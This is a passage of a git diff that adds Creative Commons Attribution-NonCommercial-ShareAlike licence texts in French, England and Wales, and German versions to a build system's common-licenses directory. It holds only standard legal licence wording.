+ b. L'Acceptant peut reproduire, distribuer, représenter ou communiquer au public une Oeuvre dite Dérivée y compris par voie numérique uniquement sous les termes de ce Contrat, ou d'une version ultérieure de ce Contrat comprenant les mêmes Options du Contrat que le présent Contrat, ou un Contrat Creative Commons iCommons comprenant les mêmes Options du Contrat que le présent Contrat (par exemple Paternité - Pas d'Utilisation Commerciale - Partage Des Conditions Initiales A l'Identique 2.0 Japon). L'Acceptant doit inclure une copie ou l'adresse Internet (Identifiant Uniforme de Ressource) du présent Contrat, ou d'un autre Contrat tel que décrit à la phrase précédente, à toute reproduction ou enregistrement de l'Oeuvre dite Dérivée que l'Acceptant distribue, représente ou communique au public y compris par voie numérique. L'Acceptant ne peut pas offrir ou imposer de conditions d'utilisation sur l'Oeuvre dite Dérivée qui altèrent ou restreignent les termes du présent Contrat ou l'exercice des droits qui y sont accordés au bénéficiaire, et doit conserver intactes toutes les informations qui renvoient à ce Contrat et à l'avertissement sur les garanties. L'Acceptant ne peut pas reproduire, distribuer, représenter ou communiquer au public y compris par voie numérique l'Oeuvre dite Dérivée en utilisant une mesure technique de contrôle d'accès ou de contrôle d'utilisation qui serait contradictoire avec les termes de cet Accord contractuel. Les mentions ci-dessus s'appliquent à l'Oeuvre dite Dérivée telle qu'incorporée dans une Oeuvre dite Collective, mais, en dehors de l'Oeuvre dite Dérivée en elle-même, ne soumettent pas l'Oeuvre Collective, aux termes du présent Contrat.
+
+ c. L'Acceptant ne peut exercer aucun des droits conférés par l'article 3 avec l'intention ou l'objectif d'obtenir un profit commercial ou une compensation financière personnelle. L'échange de l'Oeuvre avec d'autres Oeuvres protégées par le droit de la propriété littéraire et artistique par le partage électronique de fichiers, ou par tout autre moyen, n'est pas considéré comme un échange avec l'intention ou l'objectif d'un profit commercial ou d'une compensation financière personnelle, dans la mesure où aucun paiement ou compensation financière n'intervient en relation avec l'échange d'Oeuvres protégées.
+
+ d. Si l'Acceptant reproduit, distribue, représente ou communique au public, y compris par voie numérique, l'Oeuvre ou toute Oeuvre dite Dérivée ou toute Oeuvre dite Collective, il doit conserver intactes toutes les informations sur le régime des droits et en attribuer la paternité à l'Auteur Original, de manière raisonnable au regard au médium ou au moyen utilisé. Il doit communiquer le nom de l'Auteur Original ou son éventuel pseudonyme s'il est indiqué ; le titre de l'Oeuvre Originale s'il est indiqué ; dans la mesure du possible, l'adresse Internet ou Identifiant Uniforme de Ressource (URI), s'il existe, spécifié par l'Offrant comme associé à l'Oeuvre, à moins que cette adresse ne renvoie pas aux informations légales (paternité et conditions d'utilisation de l'Oeuvre). Dans le cas d'une Oeuvre dite Dérivée, il doit indiquer les éléments identifiant l'utilisation l'Oeuvre dans l'Oeuvre dite Dérivée par exemple « Traduction anglaise de l'Oeuvre par l'Auteur Original » ou « Scénario basé sur l'Oeuvre par l'Auteur Original ». Ces obligations d'attribution de paternité doivent être exécutées de manière raisonnable. Cependant, dans le cas d'une Oeuvre dite Dérivée ou d'une Oeuvre dite Collective, ces informations doivent, au minimum, apparaître à la place et de manière aussi visible que celles à laquelle apparaissent les informations de même nature.
+
+ e. Dans le cas où une utilisation de l'Oeuvre serait soumise à un régime légal de gestion collective obligatoire, l'Offrant se réserve le droit exclusif de collecter ces redevances par l'intermédiaire de la société de perception et de répartition des droits compétente. Sont notamment concernés la radiodiffusion et la communication dans un lieu public de phonogrammes publiés à des fins de commerce, certains cas de retransmission par câble et satellite, la copie privée d'Oeuvres fixées sur phonogrammes ou vidéogrammes, la reproduction par reprographie.
+
+5. Garantie et exonération de responsabilité
+
+
+ a. En mettant l'Oeuvre à la disposition du public selon les termes de ce Contrat, l'Offrant déclare de bonne foi qu'à sa connaissance et dans les limites d'une enquête raisonnable :
+
+ i. L'Offrant a obtenu tous les droits sur l'Oeuvre nécessaires pour pouvoir autoriser l'exercice des droits accordés par le présent Contrat, et permettre la jouissance paisible et l'exercice licite de ces droits, ceci sans que l'Acceptant n'ait aucune obligation de verser de rémunération ou tout autre paiement ou droits, dans la limite des mécanismes de gestion collective obligatoire applicables décrits à l'article 4(e);
+
+ ii. L'Oeuvre n'est constitutive ni d'une violation des droits de tiers, notamment du droit de la propriété littéraire et artistique, du droit des marques, du droit de l'information, du droit civil ou de tout autre droit, ni de diffamation, de violation de la vie privée ou de tout autre préjudice délictuel à l'égard de toute tierce partie.
+
+ b. A l'exception des situations expressément mentionnées dans le présent Contrat ou dans un autre accord écrit, ou exigées par la loi applicable, l'Oeuvre est mise à disposition en l'état sans garantie d'aucune sorte, qu'elle soit expresse ou tacite, y compris à l'égard du contenu ou de l'exactitude de l'Oeuvre.
+
+6. Limitation de responsabilité. A l'exception des garanties d'ordre public imposées par la loi applicable et des réparations imposées par le régime de la responsabilité vis-à-vis d'un tiers en raison de la violation des garanties prévues par l'article 5 du présent contrat, l'Offrant ne sera en aucun cas tenu responsable vis-à-vis de l'Acceptant, sur la base d'aucune théorie légale ni en raison d'aucun préjudice direct, indirect, matériel ou moral, résultant de l'exécution du présent Contrat ou de l'utilisation de l'Oeuvre, y compris dans l'hypothèse où l'Offrant avait connaissance de la possible existence d'un tel préjudice.
+
+7. Résiliation
+
+ a. Tout manquement aux termes du contrat par l'Acceptant entraîne la résiliation automatique du Contrat et la fin des droits qui en découlent. Cependant, le contrat conserve ses effets envers les personnes physiques ou morales qui ont reçu de la part de l'Acceptant, en exécution du présent contrat, la mise à disposition d'Oeuvres dites Dérivées, ou d'Oeuvres dites Collectives, ceci tant qu'elles respectent pleinement leurs obligations. Les sections 1, 2, 5, 6 et 7 du contrat continuent à s'appliquer après la résiliation de celui-ci.
+
+ b. Dans les limites indiquées ci-dessus, le présent Contrat s'applique pendant toute la durée de protection de l'Oeuvre selon le droit applicable. Néanmoins, l'Offrant se réserve à tout moment le droit d'exploiter l'Oeuvre sous des conditions contractuelles différentes, ou d'en cesser la diffusion; cependant, le recours à cette option ne doit pas conduire à retirer les effets du présent Contrat (ou de tout contrat qui a été ou doit être accordé selon les termes de ce Contrat), et ce Contrat continuera à s'appliquer dans tous ses effets jusqu'à ce que sa résiliation intervienne dans les conditions décrites ci-dessus.
+
+8. Divers
+
+ a. A chaque reproduction ou communication au public par voie numérique de l'Oeuvre ou d'une Oeuvre dite Collective par l'Acceptant, l'Offrant propose au bénéficiaire une offre de mise à disposition de l'Oeuvre dans des termes et conditions identiques à ceux accordés à la partie Acceptante dans le présent Contrat.
+
+ b. A chaque reproduction ou communication au public par voie numérique d'une Oeuvre dite Dérivée par l'Acceptant, l'Offrant propose au bénéficiaire une offre de mise à disposition du bénéficiaire de l'Oeuvre originale dans des termes et conditions identiques à ceux accordés à la partie Acceptante dans le présent Contrat.
+
+ c. La nullité ou l'inapplicabilité d'une quelconque disposition de ce Contrat au regard de la loi applicable n'affecte pas celle des autres dispositions qui resteront pleinement valides et applicables. Sans action additionnelle par les parties à cet accord, lesdites dispositions devront être interprétées dans la mesure minimum nécessaire à leur validité et leur applicabilité.
+
+ d. Aucune limite, renonciation ou modification des termes ou dispositions du présent Contrat ne pourra être acceptée sans le consentement écrit et signé de la partie compétente.
+
+ e. Ce Contrat constitue le seul accord entre les parties à propos de l'Oeuvre mise ici à disposition. Il n'existe aucun élément annexe, accord supplémentaire ou mandat portant sur cette Oeuvre en dehors des éléments mentionnés ici. L'Offrant ne sera tenu par aucune disposition supplémentaire qui pourrait apparaître dans une quelconque communication en provenance de l'Acceptant. Ce Contrat ne peut être modifié sans l'accord mutuel écrit de l'Offrant et de l'Acceptant.
+
+ f. Le droit applicable est le droit français.
+
+Creative Commons n'est pas partie à ce Contrat et n'offre aucune forme de garantie relative à l'Oeuvre. Creative Commons décline toute responsabilité à l'égard de l'Acceptant ou de toute autre partie, quel que soit le fondement légal de cette responsabilité et quel que soit le préjudice subi, direct, indirect, matériel ou moral, qui surviendrait en rapport avec le présent Contrat. Cependant, si Creative Commons s'est expressément identifié comme Offrant pour mettre une Oeuvre à disposition selon les termes de ce Contrat, Creative Commons jouira de tous les droits et obligations d'un Offrant.
+
+A l'exception des fins limitées à informer le public que l'Oeuvre est mise à disposition sous CPCC, aucune des parties n'utilisera la marque « Creative Commons » ou toute autre indication ou logo afférent sans le consentement préalable écrit de Creative Commons. Toute utilisation autorisée devra être effectuée en conformité avec les lignes directrices de Creative Commons à jour au moment de l'utilisation, telles qu'elles sont disponibles sur son site Internet ou sur simple demande.
+
+Creative Commons peut être contacté à https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-NC-SA-2.0-UK b/meta/files/common-licenses/CC-BY-NC-SA-2.0-UK
new file mode 100644
index 0000000000..4025f2325f
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-SA-2.0-UK
@@ -0,0 +1,149 @@
+Creative Commons Attribution - Non-Commercial - Share-Alike 2.0 England and Wales
+
+ CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENCE DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM ITS USE.
+
+Licence
+
+THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENCE ("CCPL" OR "LICENCE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENCE OR COPYRIGHT LAW IS PROHIBITED. BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENCE. THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS.
+
+This Creative Commons England and Wales Public Licence enables You (all capitalised terms defined below) to view, edit, modify, translate and distribute Works worldwide, under the terms of this licence, provided that You credit the Original Author.
+
+'The Licensor' [one or more legally recognised persons or entities offering the Work under the terms and conditions of this Licence]
+
+and
+
+'You'
+
+agree as follows:
+
+1. Definitions
+
+ a. "Attribution" means acknowledging all the parties who have contributed to and have rights in the Work or Collective Work under this Licence.
+
+ b. "Collective Work" means the Work in its entirety in unmodified form along with a number of other separate and independent works, assembled into a collective whole.
+
+ c. "Derivative Work" means any work created by the editing, modification, adaptation or translation of the Work in any media (however a work that constitutes a Collective Work will not be considered a Derivative Work for the purpose of this Licence). For the avoidance of doubt, where the Work is a musical composition or sound recording, the synchronization of the Work in timed-relation with a moving image ("synching") will be considered a Derivative Work for the purpose of this Licence.
+
+ d. "Licence" means this Creative Commons England and Wales Public Licence agreement.
+
+ e. "Licence Elements" means the following high-level licence attributes indicated in the title of this Licence: Attribution, Non-Commercial, Share-Alike.
+
+ f. "Non-Commercial" means "not primarily intended for or directed towards commercial advantage or private monetary compensation". The exchange of the Work for other copyrighted works by means of digital file-sharing or otherwise shall not be considered to be intended for or directed towards commercial advantage or private monetary compensation, provided there is no payment of any monetary compensation in connection with the exchange of copyrighted works.
+
+ g. "Original Author" means the individual (or entity) who created the Work.
+
+ h. "Work" means the work protected by copyright which is offered under the terms of this Licence.
+
+For the purpose of this Licence, when not inconsistent with the context, words in the singular number include the plural number.
+
+2. Licence Terms
+
+2.1 The Licensor hereby grants to You a worldwide, royalty-free, non-exclusive, Licence for Non-Commercial use and for the duration of copyright in the Work.
+
+You may:
+
+ • copy the Work;
+
+ • create one or more Derivative Works;
+
+ • incorporate the Work into one or more Collective Works;
+
+ • copy Derivative Works or the Work as incorporated in any Collective Work; and
+
+ • publish, distribute, archive, perform or otherwise disseminate the Work or the Work as incorporated in any Collective Work, to the public in any material form in any media whether now known or hereafter created.
+
+HOWEVER,
+
+You must not:
+
+ • impose any terms on the use to be made of the Work, the Derivative Work or the Work as incorporated in a Collective Work that alter or restrict the terms of this Licence or any rights granted under it or has the effect or intent of restricting the ability to exercise those rights;
+
+ • impose any digital rights management technology on the Work or the Work as incorporated in a Collective Work that alters or restricts the terms of this Licence or any rights granted under it or has the effect or intent of restricting the ability to exercise those rights;
+
+ • sublicense the Work;
+
+ • subject the Work to any derogatory treatment as defined in the Copyright, Designs and Patents Act 1988.
+
+FINALLY,
+
+You must:
+
+ • make reference to this Licence (by Uniform Resource Identifier (URI), spoken word or as appropriate to the media used) on all copies of the Work and Collective Works published, distributed, performed or otherwise disseminated or made available to the public by You;
+
+ • recognise the Licensor's / Original Author's right of attribution in any Work and Collective Work that You publish, distribute, perform or otherwise disseminate to the public and ensure that You credit the Licensor / Original Author as appropriate to the media used; and
+
+ • to the extent reasonably practicable, keep intact all notices that refer to this Licence, in particular the URI, if any, that the Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work.
+
+Additional Provisions for third parties making use of the Work
+
+2.2. Further licence from the Licensor
+
+Each time You publish, distribute, perform or otherwise disseminate
+
+ • the Work; or
+
+ • any Derivative Work; or
+
+ • the Work as incorporated in a Collective Work
+
+the Licensor agrees to offer to the relevant third party making use of the Work (in any of the alternatives set out above) a licence to use the Work on the same terms and conditions as granted to You hereunder.
+
+2.3. Further licence from You
+
+Each time You publish, distribute, perform or otherwise disseminate
+
+ • a Derivative Work; or
+
+ • a Derivative Work as incorporated in a Collective Work
+
+You agree to offer to the relevant third party making use of the Work (in either of the alternatives set out above) a licence to use the Derivative Work on any of the following premises:
+
+ • a licence on the same terms and conditions as the licence granted to You hereunder; or
+
+ • a later version of the licence granted to You hereunder; or
+
+ • any other Creative Commons licence with the same Licence Elements.
+
+2.4. This Licence does not affect any rights that the User may have under any applicable law, including fair use, fair dealing or any other legally recognised limitation or exception to copyright infringement.
+
+2.5. All rights not expressly granted by the Licensor are hereby reserved, including but not limited to, the exclusive right to collect, whether individually or via a licensing body, such as a collecting society, royalties for any use of the Work which results in commercial advantage or private monetary compensation.
+
+3. Warranties and Disclaimer
+
+Except as required by law, the Work is licensed by the Licensor on an "as is" and "as available" basis and without any warranty of any kind, either express or implied.
+
+4. Limit of Liability
+
+Subject to any liability which may not be excluded or limited by law the Licensor shall not be liable and hereby expressly excludes all liability for loss or damage howsoever and whenever caused to You.
+
+5. Termination
+
+The rights granted to You under this Licence shall terminate automatically upon any breach by You of the terms of this Licence. Individuals or entities who have received Collective Works from You under this Licence, however, will not have their Licences terminated provided such individuals or entities remain in full compliance with those Licences.
+
+6. General
+
+6.1. The validity or enforceability of the remaining terms of this agreement is not affected by the holding of any provision of it to be invalid or unenforceable.
+
+6.2. This Licence constitutes the entire Licence Agreement between the parties with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. The Licensor shall not be bound by any additional provisions that may appear in any communication in any form.
+
+6.3. A person who is not a party to this Licence shall have no rights under the Contracts (Rights of Third Parties) Act 1999 to enforce any of its terms.
+
+6.4. This Licence shall be governed by the law of England and Wales and the parties irrevocably submit to the exclusive jurisdiction of the Courts of England and Wales.
+
+7. On the role of Creative Commons
+
+7.1. Neither the Licensor nor the User may use the Creative Commons logo except to indicate that the Work is licensed under a Creative Commons Licence. Any permitted use has to be in compliance with the Creative Commons trade mark usage guidelines at the time of use of the Creative Commons trade mark. These guidelines may be found on the Creative Commons website or be otherwise available upon request from time to time.
+
+7.2. Creative Commons Corporation does not profit financially from its role in providing this Licence and will not investigate the claims of any Licensor or user of the Licence.
+
+7.3. One of the conditions that Creative Commons Corporation requires of the Licensor and You is an acknowledgement of its limited role and agreement by all who use the Licence that the Corporation is not responsible to anyone for the statements and actions of You or the Licensor or anyone else attempting to use or using this Licence.
+
+7.4. Creative Commons Corporation is not a party to this Licence, and makes no warranty whatsoever in connection to the Work or in connection to the Licence, and in all events is not liable for any loss or damage resulting from the Licensor's or Your reliance on this Licence or on its enforceability.
+
+7.5. USE OF THIS LICENCE MEANS THAT YOU AND THE LICENSOR EACH ACCEPTS THESE CONDITIONS IN SECTION 7.1, 7.2, 7.3, 7.4 AND EACH ACKNOWLEDGES CREATIVE COMMONS CORPORATION'S VERY LIMITED ROLE AS A FACILITATOR OF THE LICENCE FROM THE LICENSOR TO YOU.
+
+ Creative Commons is not a party to this Licence, and makes no warranty whatsoever in connection with the Work. Creative Commons will not be liable to You or any party on any legal theory for any damages whatsoever, including without limitation any general, special, incidental or consequential damages arising in connection to this licence. Notwithstanding the foregoing two (2) sentences, if Creative Commons has expressly identified itself as the Licensor hereunder, it shall have all rights and obligations of Licensor.
+
+ Except for the limited purpose of indicating to the public that the Work is licensed under the CCPL, neither party will use the trademark "Creative Commons" or any related trademark or logo of Creative Commons without the prior written consent of Creative Commons. Any permitted use will be in compliance with Creative Commons' then-current trademark usage guidelines, as may be published on its website or otherwise made available upon request from time to time.
+
+ Creative Commons may be contacted at https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-NC-SA-3.0-DE b/meta/files/common-licenses/CC-BY-NC-SA-3.0-DE
new file mode 100644
index 0000000000..b56385e0c7
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-SA-3.0-DE
@@ -0,0 +1,126 @@
+Creative Commons Namensnennung - Keine kommerzielle Nutzung - Weitergabe unter gleichen Bedingungen 3.0 Deutschland
+
+ CREATIVE COMMONS IST KEINE RECHTSANWALTSKANZLEI UND LEISTET KEINE RECHTSBERATUNG. DIE BEREITSTELLUNG DIESER LIZENZ FÜHRT ZU KEINEM MANDATSVERHÄLTNIS. CREATIVE COMMONS STELLT DIESE INFORMATIONEN OHNE GEWÄHR ZUR VERFÜGUNG. CREATIVE COMMONS ÜBERNIMMT KEINE GEWÄHRLEISTUNG FÜR DIE GELIEFERTEN INFORMATIONEN UND SCHLIEßT DIE HAFTUNG FÜR SCHÄDEN AUS, DIE SICH AUS DEREN GEBRAUCH ERGEBEN.
+
+Lizenz
+
+DER GEGENSTAND DIESER LIZENZ (WIE UNTER "SCHUTZGEGENSTAND" DEFINIERT) WIRD UNTER DEN BEDINGUNGEN DIESER CREATIVE COMMONS PUBLIC LICENSE ("CCPL", "LIZENZ" ODER "LIZENZVERTRAG") ZUR VERFÜGUNG GESTELLT. DER SCHUTZGEGENSTAND IST DURCH DAS URHEBERRECHT UND/ODER ANDERE GESETZE GESCHÜTZT. JEDE FORM DER NUTZUNG DES SCHUTZGEGENSTANDES, DIE NICHT AUFGRUND DIESER LIZENZ ODER DURCH GESETZE GESTATTET IST, IST UNZULÄSSIG.
+
+DURCH DIE AUSÜBUNG EINES DURCH DIESE LIZENZ GEWÄHRTEN RECHTS AN DEM SCHUTZGEGENSTAND ERKLÄREN SIE SICH MIT DEN LIZENZBEDINGUNGEN RECHTSVERBINDLICH EINVERSTANDEN. SOWEIT DIESE LIZENZ ALS LIZENZVERTRAG ANZUSEHEN IST, GEWÄHRT IHNEN DER LIZENZGEBER DIE IN DER LIZENZ GENANNTEN RECHTE UNENTGELTLICH UND IM AUSTAUSCH DAFÜR, DASS SIE DAS GEBUNDENSEIN AN DIE LIZENZBEDINGUNGEN AKZEPTIEREN.
+
+1. Definitionen
+
+ a. Der Begriff "Abwandlung" im Sinne dieser Lizenz bezeichnet das Ergebnis jeglicher Art von Veränderung des Schutzgegenstandes, solange die eigenpersönlichen Züge des Schutzgegenstandes darin nicht verblassen und daran eigene Schutzrechte entstehen. Das kann insbesondere eine Bearbeitung, Umgestaltung, Änderung, Anpassung, Übersetzung oder Heranziehung des Schutzgegenstandes zur Vertonung von Laufbildern sein. Nicht als Abwandlung des Schutzgegenstandes gelten seine Aufnahme in eine Sammlung oder ein Sammelwerk und die freie Benutzung des Schutzgegenstandes.
+
+ b. Der Begriff "Sammelwerk" im Sinne dieser Lizenz meint eine Zusammenstellung von literarischen, künstlerischen oder wissenschaftlichen Inhalten, sofern diese Zusammenstellung aufgrund von Auswahl und Anordnung der darin enthaltenen selbständigen Elemente eine geistige Schöpfung darstellt, unabhängig davon, ob die Elemente systematisch oder methodisch angelegt und dadurch einzeln zugänglich sind oder nicht.
+
+ c. "Verbreiten" im Sinne dieser Lizenz bedeutet, den Schutzgegenstand oder Abwandlungen im Original oder in Form von Vervielfältigungsstücken, mithin in körperlich fixierter Form der Öffentlichkeit anzubieten oder in Verkehr zu bringen.
+
+ d. Unter "Lizenzelementen" werden im Sinne dieser Lizenz die folgenden übergeordneten Lizenzcharakteristika verstanden, die vom Lizenzgeber ausgewählt wurden und in der Bezeichnung der Lizenz zum Ausdruck kommen: "Namensnennung", "Keine kommerzielle Nutzung", "Weitergabe unter gleichen Bedingungen".
+
+ e. Der "Lizenzgeber" im Sinne dieser Lizenz ist diejenige natürliche oder juristische Person oder Gruppe, die den Schutzgegenstand unter den Bedingungen dieser Lizenz anbietet und insoweit als Rechteinhaberin auftritt.
+
+ f. "Rechteinhaber" im Sinne dieser Lizenz ist der Urheber des Schutzgegenstandes oder jede andere natürliche oder juristische Person oder Gruppe von Personen, die am Schutzgegenstand ein Immaterialgüterrecht erlangt hat, welches die in Abschnitt 3 genannten Handlungen erfasst und bei dem eine Einräumung von Nutzungsrechten oder eine Weiterübertragung an Dritte möglich ist.
+
+ g. Der Begriff "Schutzgegenstand" bezeichnet in dieser Lizenz den literarischen, künstlerischen oder wissenschaftlichen Inhalt, der unter den Bedingungen dieser Lizenz angeboten wird. Das kann insbesondere eine persönliche geistige Schöpfung jeglicher Art, ein Werk der kleinen Münze, ein nachgelassenes Werk oder auch ein Lichtbild oder anderes Objekt eines verwandten Schutzrechts sein, unabhängig von der Art seiner Fixierung und unabhängig davon, auf welche Weise jeweils eine Wahrnehmung erfolgen kann, gleichviel ob in analoger oder digitaler Form. Soweit Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen, unterfallen auch sie dem Begriff "Schutzgegenstand" im Sinne dieser Lizenz.
+
+ h. Mit "Sie" bzw. "Ihnen" ist die natürliche oder juristische Person gemeint, die in dieser Lizenz im Abschnitt 3 genannte Nutzungen des Schutzgegenstandes vornimmt und zuvor in Hinblick auf den Schutzgegenstand nicht gegen Bedingungen dieser Lizenz verstoßen oder aber die ausdrückliche Erlaubnis des Lizenzgebers erhalten hat, die durch diese Lizenz gewährten Nutzungsrechte trotz eines vorherigen Verstoßes auszuüben.
+
+ i. Unter "Öffentlich Zeigen" im Sinne dieser Lizenz sind Veröffentlichungen und Präsentationen des Schutzgegenstandes zu verstehen, die für eine Mehrzahl von Mitgliedern der Öffentlichkeit bestimmt sind und in unkörperlicher Form mittels öffentlicher Wiedergabe in Form von Vortrag, Aufführung, Vorführung, Darbietung, Sendung, Weitersendung, zeit- und ortsunabhängiger Zugänglichmachung oder in körperlicher Form mittels Ausstellung erfolgen, unabhängig von bestimmten Veranstaltungen und unabhängig von den zum Einsatz kommenden Techniken und Verfahren, einschließlich drahtgebundener oder drahtloser Mittel und Einstellen in das Internet.
+
+ j. "Vervielfältigen" im Sinne dieser Lizenz bedeutet, mittels beliebiger Verfahren Vervielfältigungsstücke des Schutzgegenstandes herzustellen, insbesondere durch Ton- oder Bildaufzeichnungen, und umfasst auch den Vorgang, erstmals körperliche Fixierungen des Schutzgegenstandes sowie Vervielfältigungsstücke dieser Fixierungen anzufertigen, sowie die Übertragung des Schutzgegenstandes auf einen Bild- oder Tonträger oder auf ein anderes elektronisches Medium, gleichviel ob in digitaler oder analoger Form.
+
+2. Schranken des Immaterialgüterrechts. Diese Lizenz ist in keiner Weise darauf gerichtet, Befugnisse zur Nutzung des Schutzgegenstandes zu vermindern, zu beschränken oder zu vereiteln, die Ihnen aufgrund der Schranken des Urheberrechts oder anderer Rechtsnormen bereits ohne Weiteres zustehen oder sich aus dem Fehlen eines immaterialgüterrechtlichen Schutzes ergeben.
+
+3. Einräumung von Nutzungsrechten. Unter den Bedingungen dieser Lizenz räumt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 4.f) - das vergütungsfreie, räumlich und zeitlich (für die Dauer des Schutzrechts am Schutzgegenstand) unbeschränkte einfache Recht ein, den Schutzgegenstand auf die folgenden Arten und Weisen zu nutzen ("unentgeltlich eingeräumtes einfaches Nutzungsrecht für jedermann"):
+
+ a. Den Schutzgegenstand in beliebiger Form und Menge zu vervielfältigen, ihn in Sammelwerke zu integrieren und ihn als Teil solcher Sammelwerke zu vervielfältigen;
+
+ b. Abwandlungen des Schutzgegenstandes anzufertigen, einschließlich Übersetzungen unter Nutzung jedweder Medien, sofern deutlich erkennbar gemacht wird, dass es sich um Abwandlungen handelt;
+
+ c. den Schutzgegenstand, allein oder in Sammelwerke aufgenommen, öffentlich zu zeigen und zu verbreiten;
+
+ d. Abwandlungen des Schutzgegenstandes zu veröffentlichen, öffentlich zu zeigen und zu verbreiten.
+
+Das vorgenannte Nutzungsrecht wird für alle bekannten sowie für alle noch nicht bekannten Nutzungsarten eingeräumt. Es beinhaltet auch das Recht, solche Änderungen am Schutzgegenstand vorzunehmen, die für bestimmte nach dieser Lizenz zulässige Nutzungen technisch erforderlich sind. Alle sonstigen Rechte, die über diesen Abschnitt hinaus nicht ausdrücklich durch den Lizenzgeber eingeräumt werden, bleiben diesem allein vorbehalten. Soweit Datenbanken oder Zusammenstellungen von Daten Schutzgegenstand dieser Lizenz oder Teil dessen sind und einen immaterialgüterrechtlichen Schutz eigener Art genießen, verzichtet der Lizenzgeber auf sämtliche aus diesem Schutz resultierenden Rechte.
+
+4. Bedingungen. Die Einräumung des Nutzungsrechts gemäß Abschnitt 3 dieser Lizenz erfolgt ausdrücklich nur unter den folgenden Bedingungen:
+
+ a. Sie dürfen den Schutzgegenstand ausschließlich unter den Bedingungen dieser Lizenz verbreiten oder öffentlich zeigen. Sie müssen dabei stets eine Kopie dieser Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen dieser Lizenz oder die durch diese Lizenz gewährten Rechte beschränken. Sie dürfen den Schutzgegenstand nicht unterlizenzieren. Bei jeder Kopie des Schutzgegenstandes, die Sie verbreiten oder öffentlich zeigen, müssen Sie alle Hinweise unverändert lassen, die auf diese Lizenz und den Haftungsausschluss hinweisen. Wenn Sie den Schutzgegenstand verbreiten oder öffentlich zeigen, dürfen Sie (in Bezug auf den Schutzgegenstand) keine technischen Maßnahmen ergreifen, die den Nutzer des Schutzgegenstandes in der Ausübung der ihm durch diese Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.a) gilt auch für den Fall, dass der Schutzgegenstand einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt dieser Lizenz unterstellt werden muss. Sofern Sie ein Sammelwerk erstellen, müssen Sie auf die Mitteilung eines Lizenzgebers hin aus dem Sammelwerk die in Abschnitt 4.d) aufgezählten Hinweise entfernen. Wenn Sie eine Abwandlung vornehmen, müssen Sie auf die Mitteilung eines Lizenzgebers hin von der Abwandlung die in Abschnitt 4.d) aufgezählten Hinweise entfernen.
+
+ b. Sie dürfen eine Abwandlung ausschließlich unter den Bedingungen
+
+ i. dieser Lizenz,
+
+ ii. einer späteren Version dieser Lizenz mit denselben Lizenzelementen;
+
+ iii. einer rechtsordnungsspezifischen Creative-Commons-Lizenz mit denselben Lizenzelementen ab Version 3.0 aufwärts (z.B. Namensnennung - Keine kommerzielle Nutzung - Weitergabe unter gleichen Bedingungen 3.0 US) oder
+
+ iv. der Creative-Commons-Unported-Lizenz mit denselben Lizenzelementen ab Version 3.0 aufwärts
+
+ verbreiten oder öffentlich zeigen ("Verwendbare Lizenz").
+
+ Sie müssen stets eine Kopie der verwendbaren Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen, wenn Sie die Abwandlung verbreiten oder öffentlich zeigen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen der verwendbaren Lizenz oder die durch sie gewährten Rechte beschränken. Bei jeder Abwandlung, die Sie verbreiten oder öffentlich zeigen, müssen Sie alle Hinweise auf die verwendbare Lizenz und den Haftungsausschluss unverändert lassen. Wenn Sie die Abwandlung verbreiten oder öffentlich zeigen, dürfen Sie (in Bezug auf die Abwandlung) keine technischen Maßnahmen ergreifen, die den Nutzer der Abwandlung in der Ausübung der ihm durch die verwendbare Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.b) gilt auch für den Fall, dass die Abwandlung einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt der verwendbaren Lizenz unterstellt werden muss.
+
+ c. Die Rechteeinräumung gemäß Abschnitt 3 gilt nur für Handlungen, die nicht vorrangig auf einen geschäftlichen Vorteil oder eine geldwerte Vergütung gerichtet sind ("nicht-kommerzielle Nutzung", "Non-commercial-Option"). Wird Ihnen in Zusammenhang mit dem Schutzgegenstand dieser Lizenz ein anderer Schutzgegenstand überlassen, ohne dass eine vertragliche Verpflichtung hierzu besteht (etwa im Wege von File-Sharing), so wird dies nicht als auf geschäftlichen Vorteil oder geldwerte Vergütung gerichtet angesehen, wenn in Verbindung mit dem Austausch der Schutzgegenstände tatsächlich keine Zahlung oder geldwerte Vergütung geleistet wird.
+
